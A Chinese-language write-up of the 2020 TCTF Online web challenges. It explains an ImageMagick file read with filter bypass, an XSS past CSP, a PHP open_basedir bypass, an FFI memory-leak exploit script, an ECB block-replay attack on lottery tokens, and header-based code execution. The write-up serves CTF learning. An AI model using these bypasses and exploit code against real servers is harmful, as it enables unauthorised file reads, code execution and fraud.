新鲜出炉 | 2020 TCTF Online Web WriteUp

前言

TCTF是国内高质量比赛之一，这次周末参加了一下，以下是Web题解。

Wechat Generator

题目界面大致如下： 

我们拥有preview和share两个功能：

一个是预览我们生成的微信对话图，一个是将其分享。

在尝试访问分享图片时，发现如下路径:

在随手测试的时候，发现如果乱改后缀，例如将png改为txt，会出现如下的报错信息：

{"error": "Convert exception: unable to open image `previews/5fac1098-72ab-4b28-b111-465aceb0e7ec.txt': No such file or directory @ error/blob.c/OpenBlob/2874"}

那么大概可以猜测到题目可能是ImageMagick，同时测试过程中，我们发现：

如果将后缀改为htm，是可以正常转换的，那么此时可以看到我们输入的message：

那么这里尝试进行闭合，发现可以引入标签：

但是存在过滤，src被过滤了，那这里先考虑读文件，我们可以利用png后缀，将文件内容转为图片带出：

得到如下反馈：

那么尝试寻找web文件路径，想读/proc/self/下的文件，但发现proc也被过滤，这里尝试双写绕过：

发现可以成功进行bypass：

在/app目录下可以读取app.py的内容，发现如下路由：

http://pwnable.org:5000/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws

访问后，发现需要进行xss，触发alert(1)即可：

但这里存在csp：

img-src * data:; default-src 'self'; style-src 'self' 'unsafe-inline'; connect-src 'self'; object-src 'none'; base-uri 'self'

最初想利用如下形式来进行攻击：

但src被过滤：

这里同样使用双写来进行bypass：

但发现难以找到可控的js文件，于是考虑到其他方法，可使用meta标签进行跳转：

并使用htm后缀，将路径发给管理员即可触发alert，获取flag.

easy php

题目给了如下代码：

估摸可能又是bypass open_basedir disable_function一类的题目，首先看一下phpinfo():

http://pwnable.org:19260/?rh=phpinfo();

发现目标是php 7.4.5，同时Server API为FPM/FastCGI：

disable_function如下：

set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

open_basedir如下：

首先尝试disable_function，由于目录不可写，所以选择使用如下方法：

$file_list = array();
$it = new DirectoryIterator("glob:///*");
foreach ($it as $f){
    $file_list[] = $f->__toString();
}

$it = new DirectoryIterator("glob:///.*");
foreach ($it as $f){
    $file_list[] = $f->__toString();
}
sort($file_list);
foreach ($file_list as $f){
    echo "{$f}
";
}

发现可以成功列目录：

得到flag.h和flag.so文件名。

由于题目的部署不慎，导致open_basedir经常被置空（所以出现了revenge，正规解法在下一道题里讲），所以出现了下述操作：

可以直接读文件……发现flag.h中定义了获取flag的c函数，那么想到php 7.4可使用FFI调用c函数，于是查看phpinfo():

于是使用如下方法获取flag：

noeasyphp

出题人心有不甘，又出了一道revenge，这次php版本升级到7.4.7，同时更换了Server API:

并且大量增加了disable_function：

但open_basedir没有变：

我们依旧可以bypass open_basedir进行列目录：

发现flag.h和flag.so文件依旧存在，同时FFI依旧开启，那么尝试load flag.h：

但此时尴尬的点来了，我们不知道c的函数名是什么，因此无法直接调用。同时在使用FFI::cdef时，一直不能正常调用，于是这里我们使用如下操作，可以看到FFI的报错提示：

这里发现cdef被过滤了……那么考虑有没有其他办法可以获取到函数名，查阅FFI官方文档:

发现FFI存在不少和内存相关的函数，这里考虑能不能进行内存泄露，获取函数名，编写exp如下：

import requests
url = "http://pwnable.org:19261"params = {"rh":'''
try {
    $ffi=FFI::load("/flag.h");
    //get flag
    //$a = $ffi->flag_wAt3_uP_apA3H1();
    //for($i = 0; $i < 128; $i++){
        echo $a[$i];
    //}
    $a = $ffi->new("char[8]", false);
    $a[0] = 'f';
    $a[1] = 'l';
    $a[2] = 'a';
    $a[3] = 'g';
    $a[4] = 'f';
    $a[5] = 'l';
    $a[6] = 'a';
    $a[7] = 'g';
    $b = $ffi->new("char[8]", false);
    $b[0] = 'f';
    $b[1] = 'l';
    $b[2] = 'a';
    $b[3] = 'g';
    $newa = $ffi->cast("void*", $a);
    var_dump($newa);
    $newb = $ffi->cast("void*", $b);
    var_dump($newb);
    
    $addr_of_a = FFI::new("unsigned long long");
    FFI::memcpy($addr_of_a, FFI::addr($newa), 8);
    var_dump($addr_of_a);
    
    $leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false);
    FFI::memcpy($leak, $newa-0x20000, 102400);
    $tmp = FFI::string($leak,102400);
    var_dump($tmp);
   
    //var_dump($leak);
    //$leak[0] = 0xdeadbeef;
    //$leak[1] = 0x61616161;
    //var_dump($a);
    //FFI::memcpy($newa-0x8, $leak, 128*8);
    //var_dump($a);
    //var_dump(777);
} catch (FFI\Exception $ex) {
    echo $ex->getMessage(), PHP_EOL;
}
var_dump(1);
'''}

res = requests.get(url=url,params=params)

print((res.text).encode("utf-8"))

即可获取函数名如下：

$a = $ffi->flag_wAt3_uP_apA3H1();

使用和上题一样的操作即可获取flag：

lottery

题目到手后，界面如下：

简单通过burp抓包分析，发现题目存在5个功能：

register 
login
buy
info
charge

同时注意到获取flag的条件：

我们必须获得99以上的coin，才可以获取flag，那么分析题目功能，这里主要看buy,info和charge:

buy可以利用api_token获取一串密文。

info可以对密文进行解密，并返回明文：

charge是用来换coin的：

我们尝试篡改所有非enc内容，发现都很难奏效，那么势必需要分析出enc的加密方式，这里从密文切入，我们随便生成了6组密文：

/SWC1fWyzgVB4GQkV9XAhFbRJVd+p/0seSjoHNvocAMMJxydIoMiQkoRPvzu98o0B1gJ7iyGVtg0ZCyvrM9HYw+Ig5CALRM+/et8BL40J0gG42ZsIT3cEPN7J80q5tSXurpYiVthCJdtAYiOSwB4XPbSt9reYD8AcCI4hIXsxZg=

rky9zMwv9ftXrXfBaPh7e6UYO7mh07PV2CGIHMdPt0PmSSV7gVgsy7RyEC/CfvudCQTrOEmVHvtxgyNJHv51/A+Ig5CALRM+/et8BL40J0gG42ZsIT3cEPN7J80q5tSXTyQDabwRxFj0q8X5b5KhU/bSt9reYD8AcCI4hIXsxZg=

RNeqoksqjZqjs30IlB4JPdPNAigCO2PyXiMbl5HspoRDE+yuEDln7P1M85J6FO9NQq+BWyMVgZ913nLGyJL3aQ+Ig5CALRM+/et8BL40J0gG42ZsIT3cEPN7J80q5tSXsiwQ3/LQeSbYE2JiMXSKC/bSt9reYD8AcCI4hIXsxZg=

8FSnwPc+/cDtsUaIiZYJtAl0QFY5GvPH3AnPSjTmF3MF22QlJ+AohnvnHQCXjh9sffSrlmAlwaJD0ytGNsbH0UWc4v+ma98DhQBGaRw2sQ5RwrnRb3rjBmEpJd/MA33YbXP4fOmiPYshqVzTh05fWPbSt9reYD8AcCI4hIXsxZg=

yF+uCwdBx7pB2t0Afq2kccm9na5y/7Nezs5Lm3IqoD+PdHJ4SFqLIY4vouanlmqSLxxDwv3vmBZJGNYrfOCIZ0Wc4v+ma98DhQBGaRw2sQ5RwrnRb3rjBmEpJd/MA33YzeNJt8hFlylgxZwJckYUn/bSt9reYD8AcCI4hIXsxZg=

fBGgss1SrFRgKkYGFiYiw5VlpPmTWu6eCcq42TkBUzwIYP5cNLYr/4R2hd6it4yuVU4yzKKC3PGops+sK2X4U0Wc4v+ma98DhQBGaRw2sQ5RwrnRb3rjBmEpJd/MA33YavP2eHwOKE3g3bE6AMid3/bSt9reYD8AcCI4hIXsxZg=

发现每组密文的结尾均为一致，这里我猜想其为分组密码，那么我们尝试将其转回16进制：

fd2582d5f5b2ce0541e0642457d5c08456d125577ea7fd2c7928e81cdbe870030c271c9d228322424a113efceef7ca34075809ee2c8656d834642cafaccf47630f888390802d133efdeb7c04be34274806e3666c213ddc10f37b27cd2ae6d497baba58895b6108976d01888e4b00785cf6d2b7dade603f007022388485ecc598

ae4cbdcccc2ff5fb57ad77c168f87b7ba5183bb9a1d3b3d5d821881cc74fb743e649257b81582ccbb472102fc27efb9d0904eb3849951efb718323491efe75fc0f888390802d133efdeb7c04be34274806e3666c213ddc10f37b27cd2ae6d4974f240369bc11c458f4abc5f96f92a153f6d2b7dade603f007022388485ecc598

44d7aaa24b2a8d9aa3b37d08941e093dd3cd0228023b63f25e231b9791eca6844313ecae103967ecfd4cf3927a14ef4d42af815b2315819f75de72c6c892f7690f888390802d133efdeb7c04be34274806e3666c213ddc10f37b27cd2ae6d497b22c10dff2d07926d813626231748a0bf6d2b7dade603f007022388485ecc598

f054a7c0f73efdc0edb14688899609b409744056391af3c7dc09cf4a34e6177305db642527e028867be71d00978e1f6c7df4ab966025c1a243d32b4636c6c7d1459ce2ffa66bdf03850046691c36b10e51c2b9d16f7ae306612925dfcc037dd86d73f87ce9a23d8b21a95cd3874e5f58f6d2b7dade603f007022388485ecc598

c85fae0b0741c7ba41dadd007eada471c9bd9dae72ffb35ecece4b9b722aa03f8f747278485a8b218e2fa2e6a7966a922f1c43c2fdef98164918d62b7ce08867459ce2ffa66bdf03850046691c36b10e51c2b9d16f7ae306612925dfcc037dd8cde349b7c845972960c59c097246149ff6d2b7dade603f007022388485ecc598

7c11a0b2cd52ac54602a4606162622c39565a4f9935aee9e09cab8d93901533c0860fe5c34b62bff847685dea2b78cae554e32cca282dcf1a8a6cfac2b65f853459ce2ffa66bdf03850046691c36b10e51c2b9d16f7ae306612925dfcc037dd86af3f6787c0e284de0ddb13a00c89ddff6d2b7dade603f007022388485ecc598

我们发现最后32位均为：f6d2b7dade603f007022388485ecc598，同时总密文长度为256位，此时我们可以猜测最后32位应该均为padding，但这里显然不会考虑密钥爆破，因为32位的密钥太长了，爆出的可能性很小。于是思考分组模式是否可以进行攻击。

这里应该不能猜出，目标可能为ECB分组模式，那么ECB分组模式最普遍的攻击方式，应该为重放攻击，于是我进行了简单测试：

3IaNFxJN+bro2idMLAmEvfYVkwGwkppb0Habd7fzO/JCJVTGfwx79N1umkYZpaU/MfoZHWsrrGaAoh0dmBELAfXqF7CTC0Sp/DVHj+ZJgPB9CD7dIHyWREM90xDqs0/SeVuO+vBtvpqOZ7buX0T+EfbSt9reYD8AcCI4hIXsxZg=

{"info":{"lottery":"49382695-2b68-4666-8fda-b775edfe52fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

t5hNjbXQNdB1FXRhYoKNHSf62OmHHTGzGoqg+zpDLyPdFEGv8zHzC6WOx7QRZPMCwX9QzuxSrhCREeG0jwYMhDWzxRAezgH19V2Foc61/clsY01/dMF/DB1sdEiui01xcZOk9sdgo9pVS5mRplHyhfbSt9reYD8AcCI4hIXsxZg=

{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da70c","user":"2ec978ed-fc05-4aad-9cd6-da41b1afcb9b","coin":3}}

我们对如上明密文对进行攻击，想将用户1的lottery替换为用户2的，如此即可扣用户2的lottery，来增加用户1的coin：

32
{"info":{"lottery":"a3382695-2b68-4666-8fda-b775edfe52fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

64
{"info":{"lottery":"a36f22c1-c351-4421-8fda-b775edfe52fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

96
{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da7fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

128
{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da70c","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

我尝试对用户1的密文分组进行逐一替换，当替换128位后，发现我们可以将用户1的lottery替换成用户2的，但是此时user前2位值也会变为用户2的，那么这里即考虑，注册多个user前2位相同的用户，再用ECB重放攻击进行刷钱：

{"info":{"lottery":"49382695-2b68-4666-8fda-b775edfe52fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da70c","user":"2ec978ed-fc05-4aad-9cd6-da41b1afcb9b","coin":3}}

对于如上info的2个用户，我们就可以将用户1的lottery替换为用户2的，因为其user开头2位都是2e：

移花接木后，我们可以得到如下info的密文：

{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da70c","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

尝试进行charge：

发现可以成功charge，重复多次操作，即可增加我们的coin，获取flag：

Cloud Computing

这是Misc里的一道题，本不应该出现在此，但因为其考察点为web open_basedir bypass（其实是非预期了），所以在这里记录了一下，题目同样是给了源码：

同时发现题目运行在php7.4.7：

测试过程中发现，我们input的data被过滤了引号，下划线等字符，这让我们执行代码非常不便，同时phpinfo都被过滤了，于是这里考虑使用无参数函数RCE的方式，我们利用eval(end(getallheaders()))的方式进行偷梁换柱，在http header注入我们想执行的phpcode，以此达成bypass waf的目的：

但是依旧无法使用phpinfo等函数，怀疑是被disable_function给禁了，这里开启报错，来一探究竟：

同时发现我们受限于open basedir：

但是发现sandbox可以任意创建文件，于是想到可以使用chdir来bypass openbasedir：

发现可以成功bypass oepn_basedir，读取/etc/passwd：

那么读取根目录的flag文件即可。

后记

这次Web题目做下来，感觉不是非常的"web"，但还是可以学到一点东西~